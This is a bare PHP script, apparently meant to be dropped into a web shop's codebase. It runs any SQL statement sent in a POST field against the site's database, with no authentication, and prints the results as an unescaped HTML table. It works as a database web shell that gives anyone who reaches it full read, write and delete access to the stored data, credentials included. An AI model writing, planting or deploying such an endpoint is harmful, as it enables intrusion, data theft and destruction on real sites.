<?php 
$sql=get_magic_quotes_gpc()==1?stripslashes($_POST['sql']):$_POST['sql'];
$sql=str_replace('${DB_PREFIX}',DB_PREFIX,trim($sql));
error_reporting(E_ALL);
function super_query($sql){
   if (!function_exists('mysql_connect')) die('MySQL Connector not installed');
	$con = mysql_connect(DB_SERVER,DB_SERVER_USERNAME,base64_decode(DB_SERVER_PASSWORD)) or die('cant connect server:'.DB_SERVER); 
	mysql_select_db(DB_DATABASE,$con) or die('cant connect db:'.DB_DATABASE); 
	$rst = mysql_query($sql,$con) or die('sql error:'.$sql); 
	
	$query=(strtolower(substr($sql,0,6))=='select');	
	if (!$query)
		echo mysql_affected_rows($con);
	else{
		$count = mysql_num_rows($rst);
		if($count==0)die('[EMPTY]');
		$num_fields = mysql_num_fields($rst);
		if($count==1&&$num_fields==1){$row=mysql_fetch_row($rst);die($row[0]);}
		if ($num_fields){
			echo '<table border="1" cellpadding="0" cellspacing="0">';
			if($num_fields>1){
				echo '<tr>';
				for($i=0;$i<$num_fields;$i++)
					echo '<th> '.mysql_field_name($rst,$i).'</th>'; 
				echo '</tr>';
			}
			while($row=mysql_fetch_row($rst)){
				echo '<tr>';
				for($i=0;$i<$num_fields;$i++) echo '<td> '.$row[$i].'</td>'; 
				echo '</tr>';
			}
			echo '</table>';
			mysql_free_result($rst);
		}else{
			echo $rst.' rows effected.';
		}
	}
	mysql_close($con);
}
super_query($sql);

die();
